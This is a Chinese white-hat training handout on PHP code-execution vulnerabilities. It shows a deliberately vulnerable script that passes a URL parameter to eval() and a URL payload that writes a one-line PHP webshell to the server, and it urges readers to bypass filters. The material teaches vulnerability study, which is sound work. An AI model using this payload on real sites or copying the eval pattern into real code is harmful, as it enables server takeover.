admin管理员组文章数量:1794759
米斯特白帽培训讲义 漏洞篇 代码执行
米斯特白帽培训讲义 漏洞篇 代码执行
讲师:gh0stkey
整理:飞龙
协议:CC BY-NC-SA 4.0
原理由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务端执行。命令注入攻击中,Web 服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。
实例代码 <?php // code-exe.php: $code=@$_GET['code'];//localhost/subject/code-exe.php?code= echo "<center>Payload:".$code."<br/>Result:</center> eval($code);整个代码就三行,第一行用于从 URL 参数中读取code参数的值。第二行用于输出该参数的值,用于检查该参数。第三行直接将该参数当做 PHP 代码执行。由于不存在任何过滤,就会产生代码执行漏洞。
我们在该文件的目录下执行php -S 0.0.0.0:80,之后访问localhost/code-exe.php?code=phpinfo();,我们可以看到该代码执行了phpinfo函数:
利用我们可以将 URL 中code参数值换成不同的 PHP 代码,使其执行不同的 PHP 代码。利用此漏洞的关键还是熟悉所有可用的 PHP 代码。
比如,可以使用phpinfo或者echo等调试函数来判定漏洞。最重要的是,可以利用这个漏洞写入 Webshell,代码如下:
$file='mst.php'; // 一句话木马的文件名 $person='<?php @eval($_POST[1]);?>'; // 一句话文件名的代码 file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 当key.php文件不存在会自动创建,如果存在就会添加我们需要把这三行代码写入 URL 中,得到的 URL 是这样:localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);。
访问之后,当前目录就会多出一个mst.php,内容为<?php @eval($_POST[1]);?>,这个就是一句话木马。由于不是讲工具的章节,这里就不拿菜刀演示了。
在实际代码中,当然不可能这么短,就需要大家使用eval和exec作为关键词来搜索可能的漏洞点。另外,实际代码中还可能在执行之前对$code进行过滤,也需要大家发挥创造性,绕过过滤来成功利用它。
版权声明:本文标题:米斯特白帽培训讲义 漏洞篇 代码执行 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1686864533a111972.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论